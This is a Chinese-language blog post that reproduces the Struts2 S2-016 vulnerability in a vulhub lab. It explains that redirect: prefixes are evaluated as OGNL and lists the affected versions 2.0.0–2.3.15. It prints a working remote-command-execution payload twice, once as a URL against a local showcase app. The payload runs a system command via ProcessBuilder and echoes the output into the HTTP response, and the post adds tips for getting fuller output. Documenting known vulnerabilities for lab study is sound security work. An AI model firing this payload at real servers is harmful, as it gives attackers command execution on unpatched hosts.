← 返回文章列表
WEB 漏洞复现和分析2 分钟阅读

【研究】Struts2漏洞之S2-016漏洞环境和POC

- - 1.环境 - 2.原理 - 3.影响版本 - 4.利用过程 - POC - POC注意 1.环境 环境 这个搭环境很方便快捷,具体可以看说明,很简单 2.原理 在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectA…

Read in English→

【研究】Struts2漏洞之S2-016漏洞环境和POC

1.环境

环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单

2.原理

在struts2中,DefaultActionMapper类支持以“action:”、“redirect:”、“redirectAction:“作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。

3.影响版本

Struts 2.0.0 - Struts 2.3.15

4.利用过程

环境打开
在这里插入图片描述

POC

此漏洞用的是get传输即可实现,直接加就好

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

![在这里插入图片描述](/images/2019070216140213.png 下载文件,打开看命令
在这里插入图片描述

poc

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

下载打开文件
在这里插入图片描述

POC注意

这里发现POC是循环一样的数据 是这两句话 #d.read(#e),#matt.getWriter().println(#e)
多写几遍就是手动循环几遍

还有这句话 #e=new char[50000],#d.read(#e)
e的大小也关乎显示内容的长短,如果发现回显显示不全,可调整大一些